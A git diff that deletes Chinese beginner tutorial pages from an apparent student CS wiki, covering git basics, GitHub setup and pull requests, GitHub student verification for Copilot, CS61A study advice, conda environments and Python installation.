Bird,但软件工程领域却并非如此,而那不可思议的光玉就是“版本控制系统”。版本控制系统给你的开发流程提供了比朋也收集的更强大的光玉,能够让你在过去和未来中随意穿梭,避免上文中的悲剧降临你的身上。 - -没听说过版本控制系统就完成实验,艰辛地排除万难,就像游戏通关之后才知道原来游戏可以存档一样,其实玩游戏的时候进行存档并不是什么丢人的事情。 - -在本节,我们使用 `git` 进行版本控制。下面简单介绍如何使用 `git` : - -### 游戏设置 - -首先你得安装 `git` : - -- Linux 下 - -```bash -# Debian , Ubuntu -sudo apt install git -``` - -- windows 下 - -从这里下载 [https://git-scm.com/download/win](https://git-scm.com/download/win) - -下载完安装一路点 `next` 就行,什么配置也不用动。 - -安装好之后,你需要先进行一些配置工作。在终端里输入以下命令: - -```bash -git config --global user.name "Zhang San" # your name -git config --global user.email "zhangsan@foo.com" # your email -``` - -经过这些配置,你就可以开始使用 `git` 了。 - -你会通过 `git clone` 命令来拉取远程仓库的代码,里面已经包含一些 `git` 记录,因此不需要额外进行初始化。如果你想在别的实验、项目中使用 `git` ,你首先需要切换到实验、项目的目录中,然后输入 - -```bash -git init -``` - -进行初始化。初始化后会创建一个隐藏的文件夹名为 `.git` git 会基于这个文件夹来进行版本控制功能。 - -### 查看 commit 信息 - -使用 - -```bash -git log -``` - -查看目前为止所有的 commit 记录。 - -(commit:提交) - -使用 - -```bash -git status -``` - -可以得知,与当前存档相比,哪些文件发生了变化。 - -### 提交 - -你可以像以前一样编写代码。等到你的开发取得了一些阶段性成果,你应该马上进行“提交(commit)”。 - -首先你需要使用 `git status` 查看是否有新的文件或已修改的文件未被跟踪;若有,则使用 `git add` 将文件加入跟踪列表,例如 - -```bash -git add file.c -``` - -会将 `file.c` 加入**跟踪列表**。如果需要一次添加所有未被跟踪的文件,你可以使用 - -```bash -git add -A -# 或者 -git add . -``` - -但这样可能会跟踪了一些不必要的文件(二进制文件),例如编译产生的 `.o` 文件,和最后产生的可执行文件。事实上,我们只需要跟踪代码源文件即可。为了让 `git` 在添加跟踪文件之前作筛选,你可以编辑 `.gitignore` 文件(没有的话手动创建 文件名就叫这个),在里面给出需要被 `git` 忽略的文件和文件类型。 - -[这个网页](https://www.toptal.com/developers/gitignore) 可以根据你搜索的语言来给你创建必要的 `.gitignore` 文件 - -```bash -# .gitignore文件示例 -.idea # 编辑器配置 -__pycache__ # 缓存文件夹 -node_modules # 某个可以拉取的模块文件夹 -dist -*.local # 以.local为后缀的文件 -index.html # 一个文件 -file.o # 一个编译后的文件 -``` - -建议把编译后的文件都加入 `.gitignore` 并在 `README.md` 文件中留下编译的详细操作流程,节省 `.git` 空间、符合提交规范。 - -把新文件加入跟踪列表后,使用 `git status` 再次确认。确认无误后就可以存档了,使用 - -```bash -git commit -m "...comment..." -``` - -提交工程当前的状态(注释)。其中 `...comment...` 是你本次提交的注释(一般在注释中简略写出本次提交干了什么)以下为注释规范,养成良好习惯请遵守: - -```bash -模板: -type(scope): subject - -type为commit的类型 - feat: 新特性 - fix: 修改问题 - refactor: 代码重构 - docs: 文档修改 - style: 代码格式修改 - test: 测试用例修改 - chore: 其他修改, 比如构建流程, 依赖管理. - perf: 性能提升的修改 - build: 对项目构建或者依赖的改动 - ci: CI 的修改(ci是自动构建 感兴趣可以搜搜 github workflow ) - revert: revert 前一个 commit ( 撤销前一个commit ) - -scope是文件名/模块名/影响的范围 - 例如 schoolSchedule - -subject为commit概述 - 建议符合 50/72 formatting - -例 feat(JoinForm): add success submit tips - -注意 冒号和subject之间要加空格 -``` - -其中详细内容可以参照 [约定式提交](https://www.conventionalcommits.org/zh-hans/v1.0.0/) - -附上 [语义化版本 2.0.0 规范](https://semver.org/lang/zh-CN/) - -你可以使用 `git log` 查看存档记录,你应该能看到刚才编辑的注释。 - -### 读档(回溯到某一个 commit) - -如果你遇到了上文提到的让你悲痛欲绝的情况,现在你可以使用光玉来救你一命了。首先使用 `git log` 来查看已有的存档,并决定你需要回到哪个过去。每一份存档都有一个 `hash code`,例如 `b87c512d10348fd8f1e32ddea8ec95f87215aaa5` , 你需要通过 `hash code` 来告诉 `git` 你希望读哪一个档。使用以下命令进行读档: - -```bash -git reset --hard b87c -``` - -其中 `b87c` 是上文 `hash code` 的前缀:你不需要输入整个 hash code. 这时你再看看你的代码,你已经成功地回到了过去! - -但事实上,在使用 `git reset` 的 `hard` 模式之前,你需要再三确认选择的存档是不是你的真正目标。如果你读入了一个较早的存档,那么比这个存档新的所有记录都将被删除!这意味着你不能随便回到“将来”了。 - -### 分支 - -当然还是有办法来避免上文提到的副作用的,这就是 `git` 的分支功能。使用命令: - -```bash -git branch -``` - -查看所有分支。其中 `master` 是主分支,使用 `git init` 初始化之后会自动建立主分支。 - -读档的时候使用以下命令: - -```bash -git checkout b87c -``` - -而不是 `git reset` 。这时你将处于一个虚构的分支中,你可以 - -- 查看 `b87c` 存档的内容 -- 使用以下命令切换到其它分支 - -```bash -git checkout 分支名 -``` - -- 对代码的内容进行修改,但你不能使用 `git commit` 进行存档,你需要使用 - -```bash -git checkout -B 分支名 -``` - -- 把修改结果保存到一个新的分支中,如果分支已存在,其内容将会被覆盖 - -不同的分支之间不会相互干扰,这也给项目的分布式开发带来了便利。有了分支功能,你就可以像第三视点那样在一个世界的不同时间 ( 一个分支的多个存档 ),或者是多个平行世界(多个分支)之间来回穿梭了。 - -### 更多功能 - -以上介绍的是 `git` 的一些基本功能,`git` 还提供很多强大的功能,例如使用 `git diff` 比较同一个文件在不同版本中的区别,使用 `git bisect` 进行二分搜索来寻找一个 bug 在哪次提交中被引入... - -其它功能的使用请参考 `git help` , `man git` ,或者在网上搜索相关资料。 - -## 全球最大男性交友网站 —— Github - -::: tip 🤡 -想象一下你正在进行人生中第一次软件开发的小组合作。 - -你把任务分配好让组员去写代码中的某一个模块。组员写好之后发给你。 - -你一看,通过 QQ 发过来的是一个文件啊文件 比如说 `学生管理模块.c` 你打开一看,我去是**乱码**。 - -你废了九牛二虎之力把他的 GBK 编码改成 UTF8 之后,细细地品鉴这段代码,发现我去有严重逻辑错误,而且代码很不规范。 - -你通过 QQ 告诉他,这一行有问题,能不能改一下。他说,好的我改一下。 - -然后又发了文件啊文件给你,如此反复循环,你俩已经互相传了好几百个源代码文件,很没效率! -::: - -> 通过 Git 版本控制管理自己的代码,再通过 Github 来发布、同步互联,是一个很好的解决方案! - -简介 - -作为开源代码库以及版本控制系统,Github 拥有超过 900 万开发者用户。随着越来越多的应用程序转移到了云上,Github 已经成为了管理软件开发以及发现已有代码的首选方法。 - -页面大概是这样(老图): - -![](https://cdn.xyxsw.site/boxcnHemi9HkeAG1fgoznHbHLrc.png) - -### Git 和 Github - -[GitHub](https://github.com/)是一个面向开源及私有软件项目的托管平台,因为只支持 Git 作为唯一的版本库格式进行托管,故名 GitHub。 - -### Git 绑定 Github - -::: tip 🤗 -下面将教学如何注册这个网站,并给[本项目](https://github.com/camera-2018/hdu-cs-wiki)点一个小小的 kita kita 的 star🎇 -::: - -#### 第一步:注册账号 - -([GitHub 官网](https://github.com/))右上角点击 sign up 会有一个非常酷炫的界面指引你注册 🥳 - -他会用一个像是命令行交互的方式引导注册,你需要依次填写 `邮箱` 、`密码` 、 `用户名(此为 ID 非昵称)` 、`是否同意邮箱广告推送` 、`机器验证码` 之后创建账户,随后会给你填写的邮箱发送验证码,填写注册。 - -随后是一个欢迎问卷😋随便填写、如果他问你什么 PRO Plan 选择 free 不付费就好。 - -最后你访问[GitHub 官网](https://github.com)应该会显示你的 dashboard 管理台界面 - -#### 第二步:选择你拉取仓库的方式 - -点开 github 某个仓库的绿油油的 `<>Code` 按钮,你会发现有三种 clone 方式。 - -分别为 - -- https(基本无配置,有图形化界面就能用) -- ssh(有公私钥设置,没有图形化界面也能用) -- gh-cli(github 出品的 cli 工具) - -![](https://cdn.xyxsw.site/Snipaste_2023-08-27_14-06-28.png) - -#### 【https 方法配置】账号绑定 github - -在命令行配置好你的 id 和邮箱 - -```bash -git config --global user.name "Zhang San" # your name -git config --global user.email "zhangsan@foo.com" # your email -``` - -在 GitHub 主页,找到 `New` 或者 `Create repository` 一个绿色的按钮,创建一个新的仓库 - -![](https://cdn.xyxsw.site/boxcn5sVnE76FYpVW2RDxtWDiZc.png) - -然后填上这个仓库的大名就可以创建了 - -![](https://cdn.xyxsw.site/boxcnsN133WrLrbxsX8JgvsQmif.png) - -进入你新创建的仓库 - -跟随新创建之后的指引,`…or create a new repository on the command line` 内他描述了如何创建一个文件夹、创建一个 README.md 的文件,然后和 github 仓库绑定。 - -push 的时候 github 会弹窗索要你的 github 个人信息,如下图 - -![](https://cdn.xyxsw.site/image_32.png) - -输入你的 github 用户名 - -![](https://cdn.xyxsw.site/image_33.png) - -但如果这个时候输入你的账户密码,就会出现如下提示 - -![](https://cdn.xyxsw.site/image_35.png) - -这是因为 github 在 2021 年 8 月 13 日之后移除了对密码验证的支持,你需要使用令牌认证的方式 - -进入个人设置,拉到最底下 - -![](https://cdn.xyxsw.site/image_36.png) - -选择 - -![](https://cdn.xyxsw.site/image_37.png) - -![](https://cdn.xyxsw.site/image_38.png) - -会看到这样一个界面 - -![](https://cdn.xyxsw.site/image_39.png) - -可以随便起一个名字,选择 token 的有效期,然后给这个 token 一些权限,如果不清楚这些选项分别代表什么意思的话,把 repo 这个勾选一般就足够了。 - -:::warning -这个令牌只会在生成时可见,之后就不会再显示了,请做好复制并保存 - -::: - -这样我们就可以使用 token 来进行 https 方法绑定 github 账号 - -![](https://cdn.xyxsw.site/image_40.png) - -#### 【ssh 方法配置】创建 SSH Key 并获取公钥 - -先在 `C:\Users\用户名\.ssh` 下找有没有 `id_rsa` 和 `id_rsa.pub` 文件 - -:::tip -这里 `.ssh` 文件夹是一个隐藏文件夹 - -如何显示隐藏文件夹请搜索互联网或看这篇文章 [support microsoft 显示隐藏的文件](https://support.microsoft.com/zh-cn/windows/%E6%98%BE%E7%A4%BA%E9%9A%90%E8%97%8F%E7%9A%84%E6%96%87%E4%BB%B6-0320fe58-0117-fd59-6851-9b7f9840fdb2) -::: - -如果有就直接跳过这一步 - -如果没有,打开 Shell(Windows 下打开 Git Bash *前提是你已经安装好了 git 在桌面右键应该会有 Git bash here 选项*),创建 SSH Key: - -```bash -ssh-keygen -t rsa -C "youremail@example.com" # youremail为你注册用的电子邮件地址 -``` - -打开 `id_rsa.pub`,复制里面的内容 - -#### 【ssh 方法配置】绑定 Github - -登陆 `GitHub`,点击右上角自己的头像,打开 `settings` - -![](https://cdn.xyxsw.site/Snipaste_2023-07-16_17-12-32.png) - -然后打开左侧栏 `SSH and GPG keys` 页面 - -![](https://cdn.xyxsw.site/boxcn1HbQct335qvZ71tGNu7jne.png) - -然后,点 `New SSH Key`,填上任意 Title,在 Key 文本框里粘贴 `id_rsa.pub` 文件的内容即可 - -#### 【ssh 方法配置】创建仓库并和本地绑定 - -绑定完 GitHub 然后你可以创建仓库了 - -首先在 GitHub 主页,找到 `New` 或者 `Create repository` 一个绿色的按钮,创建一个新的仓库 - -![](https://cdn.xyxsw.site/boxcn5sVnE76FYpVW2RDxtWDiZc.png) - -然后填上这个仓库的大名就可以创建了 - -![](https://cdn.xyxsw.site/boxcnsN133WrLrbxsX8JgvsQmif.png) - -根据之前学习的方法在本地创建完 git 仓库之后 - -在 git bash 中输入: - -```bash -git remote add origin git@github.com:yourname/gitexample.git -# 请将yourname换成自己的id -``` - -就可以绑定 - -或者是直接 git clone 下来 - -```bash -git clone git@github.com:yourname/gitexample.git -``` - -或者你可以跟随新创建之后的指引,`…or create a new repository on the command line` 内他描述了如何创建一个文件夹、创建一个 README.md 的文件,然后和 github 仓库绑定。 - -![](https://cdn.xyxsw.site/Snipaste_2023-07-16_17-19-18.png) - -### 下载代码——clone - -拷贝他人存档也未尝不可,而我们如果用他人存档时,次次都需要一样一样的拷贝文件和代码未免太过折磨,下面简单介绍如何使用 - -```bash -git clone -``` - -接下去对着下面这个 GitHub 的代码使用一下 - -首先,代码的 url 在下图所示的位置 - -![](https://cdn.xyxsw.site/boxcnTiaT2EnNfKVkretPsyajVd.png) - -然后复制完代码后切换回我们的命令行 - -```bash -# powershell or cmd -# 进入(cd)到想要存储该代码的地方(父文件夹目录) -git clone https://github.com/camera-2018/git-example.git -``` - -> 这里使用的[例子](https://github.com/camera-2018/git-example)是我的仓库,当然你也可以用你自己的仓库。 -> -> 如果你使用我的仓库的话,你 clone 过后在你自己电脑更改的文件等东西,是没法直接提交回来的(因为你没有我仓库管理权限) -> -> 如果你非要给我的仓库添加东西呢 也是可以,参照下面的 PR(Pull Request)教程 - -一阵抽搐过后就下载好了 - -![](https://cdn.xyxsw.site/boxcn8aRDQpe7uuDxFv9v1WvZ4c.png) - -::: tip -用完之后别忘记给 camera-2018 点个 follow 😋 `呃呃 follow 没用 star 有用` -::: - -注意:失败就重试吧 还失败建议使用魔法(非国内网你懂得) - -### 提交和合并分支 - -如图 我在仓库里新建了 `helloworld.c` 并且写了一些代码 - -![](https://cdn.xyxsw.site/boxcnZpPsp4FP78auolzHvCKP0g.png) - -接下来是提交操作 - -```bash -git status #看一下文件暂存区 -``` - -![](https://cdn.xyxsw.site/boxcnm4R1ZN0WeUBuYht6zge7pd.png) - -红色表示文件没有提交到暂存区 我们要提交 - -接下来 - -```bash -git add . #将没有提交的所有文件加入暂存区 -``` - -![](https://cdn.xyxsw.site/boxcnYHd076RAqfDmHjbUkeNSvg.png) - -绿色表示所有文件已加入暂存 - -```bash -git commit -m "feat(helloworld): add helloworld file" -``` - -将刚才加入暂区的文件发起了一个提交,提交注释(commit message)是 `feat(helloworld): add helloworld file` - -![](https://cdn.xyxsw.site/boxcni2dupDzNO8qTWPAxS5c67b.png) - -1. 如果这是你自己的仓库有权限(本人仓库或 Collaborators 有权限的情况下)你就可以直接使用 - - ```bash - git push origin main # origin 是第四步里 remote add 起的远程名字 - # main 是分支名 - ``` - - 上传本次提交 - - ![](https://cdn.xyxsw.site/boxcnNBu1EJnva4EkyQZAVlwGMe.png) - -2. 如果你没有本仓库的主分支提交权限 可以提交 PR(Pull Requests) - - **第一种情况:这里假设我是协作者 无主分支权限,但有创建分支权限** - - 首先创建一个新分支 命名为 `yourname-dev` - - ![](https://cdn.xyxsw.site/boxcnaS7aOzdt31vsZZx8R1s33e.png) - - 然后按照上面的方法 `git clone` 并切换到你刚创建的分支 - - ```bash - git switch camera-2018-dev - ``` - - 然后提交一个文件,这里直接使用 vscode 自带的 git 工具试试(很方便、不用敲命令行) - - ![](https://cdn.xyxsw.site/boxcnmwlYWOzwPbNqTAuSZK9dW3.png) - - 点暂存所有更改 写好 comment 之后点提交 - - ![](https://cdn.xyxsw.site/boxcnfcCnAdtdX2oyLIC3NibVnf.png) - - 最后点同步更改上传 - - ![](https://cdn.xyxsw.site/boxcn9DSPlFgG2WMZhTOE9Zhzgb.png) - - 如果是你提交 在 github 上会显示这个 快捷创建 pr 的按钮 - - ![](https://cdn.xyxsw.site/boxcnHd7Qfi8C0Y7V2Ot5ii4vpf.png) - - ![](https://cdn.xyxsw.site/boxcnyt3eeZQyN8b1xM1WjDrTGe.png) - - 点它创建 PR - - ![](https://cdn.xyxsw.site/boxcnJOjh1Zfp9tCd3llL9NsEzb.png) - - 这样管理本仓库的人看到 pr 请求就可以 merge 合并辣 - - ![](https://cdn.xyxsw.site/boxcnBMq0sw6c48jvjdPJwmAGtZ.png) - - ![](https://cdn.xyxsw.site/boxcngNZOSnYUtCKH6pm8UaUMNd.png) - - 实际合作过程中可能会出现代码冲突无法 merge 的情况 😋 遇到了自己去 STFW 吧 - - **第二种情况:我不是协作者、我什么权限也没有,我看了这个 public 项目后觉得很好但是有一些问题,我要给他贡献一些代码** - - 可以点击仓库右上角的 fork - - ![](https://cdn.xyxsw.site/Snipaste_2023-07-16_17-34-21.png) - - 这样会在你的名下多出来一份这个同名仓库,而这个仓库你是拥有所有权限的,你可以 clone 你这个同名仓库,更改代码,提交代码之后 - - 回到源仓库点击 Pull Request 然后创建 PR `New pull request` - - 最上面会提示你说 - - Comparing changes - Choose two branches to see what’s changed or to start a new pull request. If you need to, you can also **compare across forks** . - - 点击小蓝字 `compare across forks` 这会让你对比你 fork 仓库和源代码仓库的提交记录,之后就可以创建 PR 了,原作者看到了会合并。 - -### 其他功能 - -问题跟踪:GitHub 的问题跟踪功能可用于报告软件中的问题、错误和功能请求,并进行讨论、分配和解决。 - -Wiki 页面:用户可以创建和编辑与存储库相关的 Wiki 页面,用于提供项目的文档、指南、示例代码等。 - -Pull 请求(Pull Requests):使用者可以将自己的代码变更提交给其他项目的所有者,并请求合并到主干代码中。 - -项目管理:GitHub 提供项目管理功能,包括任务管理、里程碑(milestones)、项目板(project boards)等工具,可用于组织和跟踪项目的进展。 - -部署功能:GitHub 可以与各种持续集成和部署(CI/CD)工具集成,帮助开发人员自动化构建、测试和部署他们的应用程序。 - -统计信息:GitHub 提供有关存储库活动和贡献者的统计信息,例如提交图表、活动日历等,有助于跟踪和分析项目的发展。 - -社交功能:用户可以关注其他用户、存储库和组织,接收他们的更新和活动通知,并与他们进行交流和讨论。 - -代码审核(Code Review):GitHub 的 Pull 请求功能允许团队成员对代码进行审查和讨论,以确保代码质量和最佳实践。 - -集成和扩展:GitHub 支持与其他工具和服务的集成,例如持续集成(CI)工具、代码质量检查工具、项目管理工具等。 - -页面托管:GitHub Pages 功能使您可以托管静态网站和文档,这在展示和共享项目文档、演示和博客等方面非常有用。 - -然后还有一些比如说 Copilot 之类的有用的功能。 - -[Copilot](https://github.com/features/copilot) 是 GitHub 推出的一款基于人工智能技术的代码辅助工具。它使用了机器学习模型 codex,并针对编写代码的场景进行了训练。 - -Copilot 可以根据上下文和输入的提示,为开发人员生成代码建议和自动完成。它可以通过分析现有代码库、注释和上下文来生成代码片段,提高编码效率并减少重复劳动。 - -## [Copilot](https://github.com/features/copilot) 白嫖教程 - -你需要学生认证你的 Github 账号。 - -地址在 [https://education.github.com/students](https://education.github.com/students) 点击 `Sign up for Global Campus` 来开始认证,下面会让你输入学校,绑定学校邮箱(杭电为 @hdu.edu.cn 结尾的邮箱)(如果你是杭电新生的话,可能要等到智慧杭电账号发放时才能注册杭电邮箱)并上传**学生证明**(从 21 年开始这个验证越来越严,如果不过的话你可以尝试 `学生证第一页`、`学生证第一页英文翻译(像有道翻译那样 P 图上去)`、`学信网学籍证明英文翻译(英文也是 P 上去)`) - -通过了的话你的账户会有 Pro 标识 然后你可以享受的 Github 学生包里包含[这些东西](https://education.github.com/pack) - -里面比较有用的有 - -- JETBRAINS 全家桶的免费用(我没用,我用的是 jb 自己家的验证方式,不是 github) -- name.com 家的一个一年期的免费域名(大概价值吧 六七十块钱?) -- github 的容量扩容和 actions 时间扩容、Codespaces 时间延长、Pages 扩容(没啥用倒是) -- Termius 学生包,这是我很喜欢用的终端软件,有学生包可以多端同步 ssh 的账号密码啥的,很方便。 -- Sentry 容量扩容 -- Copilot 免费用 - -你可以在 `settings` 里看到你的 copilot,配置如下 - -![](https://cdn.xyxsw.site/Snipaste_2023-07-16_17-59-49.png) - -然后就可以在你喜欢的 IDE 或编辑器上下载 Copilot 插件,来启用他。 - -![](https://cdn.xyxsw.site/Snipaste_2023-07-16_18-02-19.png) diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.1从CS61A看编程语言学习.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.1从CS61A看编程语言学习.md deleted file mode 100644 index 886f0ce..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.1从CS61A看编程语言学习.md +++ /dev/null @@ -1,49 +0,0 @@ -# 从 CS61A 看编程语言学习 - -## 什么是 CS61A - -首先声明,本教程的 python 部分很多内容摘自 CS61A - -如果你看过 CS 自学指南,想必你在第一页就看过这样的描述 - -> 大一入学时我是一个对计算机一无所知的小白,装了几十个 G 的 Visual Studio 天天和 OJ 你死我活。凭着高中的数学底子我数学课学得还不错,但在专业课上对竞赛大佬只有仰望。提到编程我只会打开那笨重的 IDE,新建一个我也不知道具体是干啥的命令行项目,然后就是 `cin`, `cout`, `for` 循环,然后 CE, RE, WA 循环。当时的我就处在一种拼命想学好但不知道怎么学,课上认真听讲但题还不会做,课后做作业完全是用时间和它硬耗的痛苦状态。我至今电脑里还存着自己大一上学期计算概论大作业的源代码 —— 一个 1200 行的 C++ 文件,没有头文件、没有类、没有封装、没有 unit test、没有 Makefile、没有 Git,唯一的优点是它确实能跑,缺点是“能跑”的补集。我一度怀疑我是不是不适合学计算机,因为童年对于极客的所有想象,已经被我第一个学期的体验彻底粉碎了。
这一切的转机发生在我大一的寒假,我心血来潮想学习 Python。无意间看到知乎有人推荐了 CS61A 这门课,说是 UC Berkeley 的大一入门课程,讲的就是 Python。我永远不会忘记那一天,打开 [CS61A](https://cs61a.org/) 课程网站的那个瞬间,就像哥伦布发现了新大陆一样,我开启了新世界的大门。
我一口气 3 个星期上完了这门课,它让我第一次感觉到原来 CS 可以学得如此充实而有趣,原来这世上竟有如此精华的课程。
为避免有崇洋媚外之嫌,我单纯从一个学生的视角来讲讲自学 CS61A 的体验:
- 独立搭建的课程网站:一个网站将所有课程资源整合一体,条理分明的课程 schedule、所有 slides, hw, discussion 的文件链接、详细明确的课程给分说明、历年的考试题与答案。这样一个网站抛开美观程度不谈,既方便学生,也让资源公正透明。
- 课程教授亲自编写的教材:CS61A 这门课的开课老师将 MIT 的经典教材 Structure and Interpretation of Computer Programs (SICP) 用 Python 这门语言进行改编(原教材基于 Scheme 语言),保证了课堂内容与教材内容的一致性,同时补充了更多细节,可以说诚意满满。而且全书开源,可以直接线上阅读。
- 丰富到让人眼花缭乱的课程作业:14 个 lab 巩固随堂知识点,10 个 homework,还有 4 个代码量均上千行的 project。与大家熟悉的 OJ 和 Word 文档式的作业不同,所有作业均有完善的代码框架,保姆级的作业说明。每个 Project 都有详尽的 handout 文档、全自动的评分脚本。CS61A 甚至专门开发了一个[自动化的作业提交评分系统](https://okpy.org/)(据说还发了论文)。当然,有人会说“一个 project 几千行代码大部分都是助教帮你写好的,你还能学到啥?”。此言差矣,作为一个刚刚接触计算机,连安装 Python 都磕磕绊绊的小白来说,这样完善的代码框架既可以让你专注于巩固课堂上学习到的核心知识点,又能有“我才学了一个月就能做一个小游戏了!”的成就感,还能有机会阅读学习别人高质量的代码,从而为自己所用。我觉得在低年级,这种代码框架可以说百利而无一害。唯一的害也许是苦了老师和助教,因为开发这样的作业可想而知需要相当的时间投入。
- 每周 Discussion 讨论课,助教会讲解知识难点和考试例题:类似于北京大学 ICS 的小班研讨,但习题全部用 LaTeX 撰写,相当规范且会明确给出 solution。
这样的课程,你完全不需要任何计算机的基础,你只需要努力、认真、花时间就够了。此前那种有劲没处使的感觉,那种付出再多时间却得不到回报的感觉,从此烟消云散。这太适合我了,我从此爱上了自学。
试想如果有人能把艰深的知识点嚼碎嚼烂,用生动直白的方式呈现给你,还有那么多听起来就很 fancy,种类繁多的 project 来巩固你的理论知识,你会觉得他们真的是在倾尽全力想方设法地让你完全掌握这门课,你会觉得不学好它简直是对这些课程建设者的侮辱。
如果你觉得我在夸大其词,那么不妨从 [CS61A](https://cs61a.org/) 开始,因为它是我的梦开始的地方。 - -如果看完了这些,你可能会震惊,会怀疑并且试着打开它并且去尝试这门课程,但是也有可能你会被纯英文的视频或者油管劝退,也有可能你会怀疑我在使用别人的课程体系的前提下仍然要把它放到自己的内容里面的目的,That's all right,我会在下面对她讲的东西进行一定的补充,并且附着上自己的学习建议以及学习思考。 - -## 错误的学习方式 - -很多人看到要自学 python 之后,第一时间想到的是,我要去 B 站/百度搜一搜,然后一般搜出来就是菜鸟教程,然后就是一连串枯燥乏味的知识堆叠,或者说是培训班的网课,给我们一种知识好像就是这么枯燥乏味以及自己好像学到了很多但是真的用起来却一无所知痛苦万分的感觉。 - -我觉得在这个时候大伙可以思考的是,是否我们停留在舒适区的学习方法是错误的呢? - -当然这个时候会出现勇敢的人,尝试这个推荐,但是根据我目前的发现来说,杭电百分之九十五的学生学习一两章之后就荒废了。 - -课好吗? - -是很好。 - -但是为什么坚持不下来呢? - -根据我的统计,原因无外乎是以下几点:英语太难太劝退了!课程设置太难,好像听懂了但是写起东西来却还是推行不下去!我不知道学了这个能干什么,所以没有动力!学了一两章虽然好像学到了东西,但是感觉有很多东西学了却记不住,导致难度曲线陡增了!游戏太好玩了! - -舒适区看起来很难打破! - -## 正确的思考方式 - -面对英语,我们前文有过一而再再而三的提醒过使用正确的工具,但是不得不说的是,在翻译的过程中可能难免丢失了一定的信息,使得我们在困惑中可能变得没有了前进的动力,或者从另一个角度来说我们没有动力是因为没有足够的原因来告诉我们的意识,我们到底应该在做这个超过看菜鸟教程所需精力好多倍的工作,到底能得到除了一点新奇感以外的什么东西,以此来给我们更为充分的理由支撑自己学习完成。 - -## 建立正确的认知论 - -编程思想本身远比学习某一门编程语言的具体内容更为重要,我们很多的同学在进行这方面内容的时候总是只想着记忆某一门语言的某些内容,然后学的非常的痛苦。 - -但不得不提到的是,你学到的语言,技术框架等等在信息化发展如此迅速的现在,可能随时都会过时,诸如早些年间的 B 语言,PHP 等等,到现在都是很少有些人在用的东西了,如果你只扣着一些编程的具体语法,那你学的东西很有可能在某一天就扔进了历史的垃圾堆。 - -但是编程语言的设计思想一般不会出现太大的波动,并且就算是发展也有其适配的场景和知识脉络的,如果你乐于去发掘这个知识脉络和思想,那么你就可以优雅的掌握一种思维方式而不是简单的拧螺丝一样的机械化工作。而好的思考方式往往是可以应用在同类的所有语言甚至是在所有的更多的 - -## 更有趣的练习方式 - -我不得不承认的一点是,越痛苦的练习往往可以让你获得更大的提升模拟的成长往往与你面对苦难以及解决他的时间是成正比的。 - -不过遗憾的是,我们大多数的同学是在面对跳起来都够不到的反馈的时候,会选择放弃。(除非你有 M 的倾向) - -因此,有时候我们说大道至简。好的东西往往是能让人们快速理解的东西,我觉得 61A 的难度梯度设计,就是兼具了趣味性和间接性的,并且全面优于互联网上的非常多的教程,比硬啃要给我们更多的正反馈(当然,改变思维和学习方式是很重要的。 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.2环境配置.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.2环境配置.md deleted file mode 100644 index 2843b85..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.2环境配置.md +++ /dev/null @@ -1,45 +0,0 @@ -# 环境配置 - -当你开始制作大型项目或者复现论文时,环境配置就开始变得至关重要。 - -## 什么是环境? - -环境是**包的集合**,我们一般用 Anaconda 来配置虚拟环境。 - -[戳这里安装](https://www.anaconda.com/) - -装下来之后具体操作可以看[安装教程](https://blog.csdn.net/in546/article/details/117400839),如果自动配置环境变量的选项是灰色的话,请按照下面的教程把下面的几个文件路径加入环境变量。 - -![](https://cdn.xyxsw.site/boxcn3PLPIvKSSvYiCnwx50FYvf.png) - -![](https://cdn.xyxsw.site/boxcnvTQPcmPpUonmDZFZXNnGWd.png) - -![](https://cdn.xyxsw.site/boxcn6ZnAzhaj2Tj7xk9K6FxBJh.png) - -在里面添加并写入文件路径加入就好了~ - -![](https://cdn.xyxsw.site/boxcnnsuoHmhK4dBCLHlKhpRWIe.png) - -然后打开 Pycharm,创建新项目,设置按照以下方式操作,记得挂梯子。 - -如果不挂梯子,请按照教程配置清华源。[我是教程](https://blog.csdn.net/jasneik/article/details/114227716) - -![](https://cdn.xyxsw.site/boxcnTfvjYweuIZFKlcH78X38Pd.png) - -然后一个新的环境就创建好辣~ - -## 如何配置环境 - -### 1.配置你自己的环境 - -你可以尝试命令 `pip install <包的名字>` 或者 `conda install <包的名字>` - -> 在下载某个包失败的时候可以查一查有没有人写相关攻略~ - -你可以用 `conda list` 查看你这个环境已有的包。你也可以在包的名字后面加上 `==版本号` 来指定版本。 - -> 请注意各个包之间的依赖关系,否则容易导致无法运行或效果变差! - -### 2.复现论文代码时配置环境 - -> 一般我们可以在 Github 的 README 中找到环境的配置方法,遇到难以下载的特殊版本包时可以考虑下载它的源码手动编译,具体流程不展开了,可以自行搜索 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.3安装python.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.3安装python.md deleted file mode 100644 index bcf6551..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.3安装python.md +++ /dev/null @@ -1,61 +0,0 @@ -# 安装 python - -::: warning 😍 教程 - -[Python 小白必看,非常生动的 Pycharm 与 Anaconda 安装教学,干货!_哔哩哔哩_bilibili](https://www.bilibili.com/video/BV1Bp4y117UW) - - - -[Win10 下 Conda-Pycharm-Pytorch 的安装_哔哩哔哩_bilibili](https://www.bilibili.com/video/BV15U4y1J7Ss) - - -::: - -## 巧妇难为无米之炊 - -你可以在终端上用 Python 解释器 - -也可以尝试使用 VSC,Pycharm 等集成开发环境 - -同样我们也推荐你使用 Jupyter Notebook - -我们推荐你都进行一波尝试,同样这也会作为一个任务 - -::: warning 😐 解释器 - -Windows 用户 - -打开 [Python 官方网站](https://www.python.org/),找到“Download”里的“Latest: Python 3.x.y”。 - -**下载完成后,请大家按照下图的示意,务必勾选“Add Python 3.x to PATH”,然后再点击“Install Now”,等待安装完成后关闭安装程序。** - -**注意:windows11 安装好后 命令行输入 python 可能会跳到 Microsoft 应用商店 可在 customize installation(自定义安装)next 勾选 install for all users** - -**GNU/Linux 系统** - -在终端输入 `sudo apt install python3` 即可完成 Python3 的全部安装流程 - -可以输入 `python3 --version` 检验是否成功。 -::: -![](https://cdn.xyxsw.site/boxcn95LbcwuMC2dIViOxWk8BFb.png) - -::: warning 🤔 Jupyter Notebook - -[官方网站](https://jupyter.org/) Jupyter Notebook 